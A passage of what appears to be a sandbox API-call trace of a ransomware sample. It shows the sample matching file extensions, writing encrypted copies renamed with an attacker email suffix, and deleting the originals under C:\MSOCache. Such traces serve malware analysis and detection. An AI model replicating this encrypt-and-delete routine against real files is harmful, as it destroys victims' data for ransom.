Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0036.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.786] lstrlenW (lpString=".doc") returned 4 [0036.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.786] lstrlenW (lpString=".docx") returned 5 [0036.786] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.786] lstrlenW (lpString=".pdf") returned 4 [0036.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.786] lstrlenW (lpString=".xls") returned 4 [0036.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.786] lstrlenW (lpString=".xlsx") returned 5 [0036.786] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.786] lstrlenW (lpString=".ppt") returned 4 [0036.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.786] lstrlenW (lpString=".zip") returned 4 [0036.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.786] lstrlenW (lpString=".rar") returned 4 [0036.787] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString=".bz2") returned 4 [0036.787] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString=".7z") returned 3 [0036.787] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.787] lstrlenW (lpString=".dbf") returned 4 [0036.787] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.787] lstrlenW (lpString=".1cd") returned 4 [0036.787] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.787] lstrlenW (lpString=".jpg") returned 4 [0036.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.787] lstrlenW (lpString=".doc") returned 4 [0036.787] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString=".docx") returned 5 [0036.787] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.787] lstrlenW (lpString=".pdf") returned 4 [0036.787] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString=".xls") returned 4 [0036.787] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString=".xlsx") returned 5 [0036.787] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.787] lstrlenW (lpString=".ppt") returned 4 [0036.787] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.787] lstrlenW (lpString=".zip") returned 4 [0036.787] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.787] lstrlenW (lpString=".rar") returned 4 [0036.788] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.788] lstrlenW (lpString=".bz2") returned 4 [0036.788] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.788] lstrlenW (lpString=".7z") returned 3 [0036.788] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.788] lstrlenW (lpString=".dbf") returned 4 [0036.788] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.788] lstrlenW (lpString=".1cd") returned 4 [0036.788] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0036.788] lstrlenW (lpString=".jpg") returned 4 [0036.788] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.788] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.788] lstrlenW (lpString="Setup.xml") returned 9 [0036.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.160] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=9352) returned 1 [0037.160] CloseHandle (hObject=0x1cc) returned 1 [0037.160] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.160] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.160] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.161] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.161] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.161] GetLastError () returned 0x0 [0037.161] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x2488, lpOverlapped=0x0) returned 1 [0037.162] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x2490, lpOverlapped=0x0) returned 1 [0037.163] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.163] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.164] SetEndOfFile (hFile=0x1f0) returned 1 [0037.164] CloseHandle (hObject=0x1f0) returned 1 [0037.164] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.164] SetEndOfFile (hFile=0x1cc) returned 1 [0037.165] CloseHandle (hObject=0x1cc) returned 1 [0037.165] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.166] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.166] lstrlenW (lpString=".doc") returned 4 [0037.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.166] lstrlenW (lpString=".docx") returned 5 [0037.166] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.166] lstrlenW (lpString=".pdf") returned 4 [0037.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.166] lstrlenW (lpString=".xls") returned 4 [0037.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.166] lstrlenW (lpString=".xlsx") returned 5 [0037.166] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.166] lstrlenW (lpString=".ppt") returned 4 [0037.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.166] lstrlenW (lpString=".zip") returned 4 [0037.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.166] lstrlenW (lpString=".rar") returned 4 [0037.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.166] lstrlenW (lpString=".bz2") returned 4 [0037.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.166] lstrlenW (lpString=".7z") returned 3 [0037.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.166] lstrlenW (lpString=".dbf") returned 4 [0037.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.167] lstrlenW (lpString=".1cd") returned 4 [0037.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.167] lstrlenW (lpString=".jpg") returned 4 [0037.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.167] lstrlenW (lpString=".doc") returned 4 [0037.167] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString=".docx") returned 5 [0037.167] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.167] lstrlenW (lpString=".pdf") returned 4 [0037.167] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString=".xls") returned 4 [0037.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString=".xlsx") returned 5 [0037.167] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.167] lstrlenW (lpString=".ppt") returned 4 [0037.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.167] lstrlenW (lpString=".zip") returned 4 [0037.167] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.167] lstrlenW (lpString=".rar") returned 4 [0037.167] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString=".bz2") returned 4 [0037.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.167] lstrlenW (lpString=".7z") returned 3 [0037.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.167] lstrlenW (lpString=".dbf") returned 4 [0037.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.168] lstrlenW (lpString=".1cd") returned 4 [0037.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.168] lstrlenW (lpString=".jpg") returned 4 [0037.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.168] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.168] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0037.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.168] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=819) returned 1 [0037.168] CloseHandle (hObject=0x1cc) returned 1 [0037.168] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0037.168] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.169] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.169] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.169] GetLastError () returned 0x0 [0037.169] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x333, lpOverlapped=0x0) returned 1 [0037.170] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x340, lpOverlapped=0x0) returned 1 [0037.171] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.171] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0037.171] SetEndOfFile (hFile=0x1f0) returned 1 [0037.171] CloseHandle (hObject=0x1f0) returned 1 [0037.172] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.172] SetEndOfFile (hFile=0x1cc) returned 1 [0037.173] CloseHandle (hObject=0x1cc) returned 1 [0037.173] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.173] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0037.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.173] lstrlenW (lpString=".doc") returned 4 [0037.173] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.173] lstrlenW (lpString=".docx") returned 5 [0037.173] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0037.173] lstrlenW (lpString=".pdf") returned 4 [0037.173] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.173] lstrlenW (lpString=".xls") returned 4 [0037.173] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.173] lstrlenW (lpString=".xlsx") returned 5 [0037.173] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0037.174] lstrlenW (lpString=".ppt") returned 4 [0037.174] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.174] lstrlenW (lpString=".zip") returned 4 [0037.174] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.174] lstrlenW (lpString=".rar") returned 4 [0037.174] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString=".bz2") returned 4 [0037.174] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString=".7z") returned 3 [0037.174] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.174] lstrlenW (lpString=".dbf") returned 4 [0037.174] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.174] lstrlenW (lpString=".1cd") returned 4 [0037.174] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.174] lstrlenW (lpString=".jpg") returned 4 [0037.174] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.174] lstrlenW (lpString=".doc") returned 4 [0037.174] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString=".docx") returned 5 [0037.174] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0037.174] lstrlenW (lpString=".pdf") returned 4 [0037.174] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString=".xls") returned 4 [0037.174] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.174] lstrlenW (lpString=".xlsx") returned 5 [0037.174] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0037.175] lstrlenW (lpString=".ppt") returned 4 [0037.175] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.175] lstrlenW (lpString=".zip") returned 4 [0037.175] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.175] lstrlenW (lpString=".rar") returned 4 [0037.175] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.175] lstrlenW (lpString=".bz2") returned 4 [0037.175] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.175] lstrlenW (lpString=".7z") returned 3 [0037.175] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.175] lstrlenW (lpString=".dbf") returned 4 [0037.175] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.175] lstrlenW (lpString=".1cd") returned 4 [0037.175] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0037.175] lstrlenW (lpString=".jpg") returned 4 [0037.175] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.175] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.175] lstrlenW (lpString="Setup.xml") returned 9 [0037.175] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.176] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2624) returned 1 [0037.176] CloseHandle (hObject=0x1cc) returned 1 [0037.176] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.176] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.176] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.176] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.176] GetLastError () returned 0x0 [0037.176] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0xa40, lpOverlapped=0x0) returned 1 [0037.178] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xa50, lpOverlapped=0x0) returned 1 [0037.179] ReadFile (in: hFile=0x1cc, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.179] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.179] SetEndOfFile (hFile=0x1f0) returned 1 [0037.180] CloseHandle (hObject=0x1f0) returned 1 [0037.180] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: 